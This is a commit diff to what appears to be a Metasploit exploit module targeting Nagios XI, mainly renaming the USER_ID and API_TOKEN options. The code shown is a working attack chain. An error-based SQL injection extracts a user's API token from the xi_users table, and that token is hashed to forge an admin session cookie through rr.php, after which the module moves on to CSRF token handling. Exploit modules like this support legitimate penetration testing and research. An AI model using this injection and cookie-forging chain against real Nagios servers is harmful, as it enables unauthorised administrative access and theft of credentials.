Polish up USER_ID and API_TOKEN options

Author: wvu

modules/exploits/linux/http/nagios_xi_chained_rce.rb

@@ -44,10 +44,11 @@ def initialize(info = {})
         'LHOST'         => Rex::Socket.source_address
       }
     ))
+
     register_options([
-        OptInt.new('USERID', [ true, 'User ID in the database to target', 1 ]),
-        OptString.new('APITOKEN', [ false, 'If an API Token was already stolen, skip the sqli', '8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6gm' ])
-      ], self.class)
+      OptInt.new('USER_ID',      [true, 'User ID in the database to target', 1]),
+      OptString.new('API_TOKEN', [false, 'If an API token was already stolen, skip the SQLi'])
+    ])
   end
 
   def check
@@ -73,8 +74,8 @@ def exploit
       fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
     end
 
-    unless datastore['APITOKEN'].empty?
-      @api_token = datastore['APITOKEN']
+    if datastore['API_TOKEN']
+      @api_token = datastore['API_TOKEN']
     else
       print_status('Getting API token')
       get_api_token
@@ -125,15 +126,17 @@ def get_api_token
       'vars_get' => {
         'mode'   => 'resolve',
         'host'   => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
-                    "SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USERID']}" \
+                    "SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USER_ID']}" \
                     '),FLOOR(RAND(0)*2))x ' \
                     'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
       }
     )
+
+    # default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu
+    # any other user has a longer token, but we cant strip the last char off.
+    # example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
     if res && res.body =~ /Duplicate entry '(.*?).'/
-      if $1.length > 8 # default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu
-        # any other user has a longer token, but we cant strip the last char off.
-        # example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
+      if $1.length > 8
         res.body =~ /Duplicate entry '(.*?)'/
       end
       @api_token = $1
@@ -148,10 +151,11 @@ def get_admin_cookie
       'method'   => 'GET',
       'uri'      => '/nagiosxi/rr.php',
       'vars_get' => {
-        'uid'    => "#{datastore['USERID']}-#{Rex::Text.rand_text_alpha(8)}-" +
+        'uid'    => "#{datastore['USER_ID']}-#{Rex::Text.rand_text_alpha(8)}-" +
                     Digest::MD5.hexdigest(@api_token)
       }
     )
+
     if res && (@admin_cookie = res.get_cookies.split('; ').last)
       vprint_good("Admin cookie: #{@admin_cookie}")
       get_csrf_token(res.body)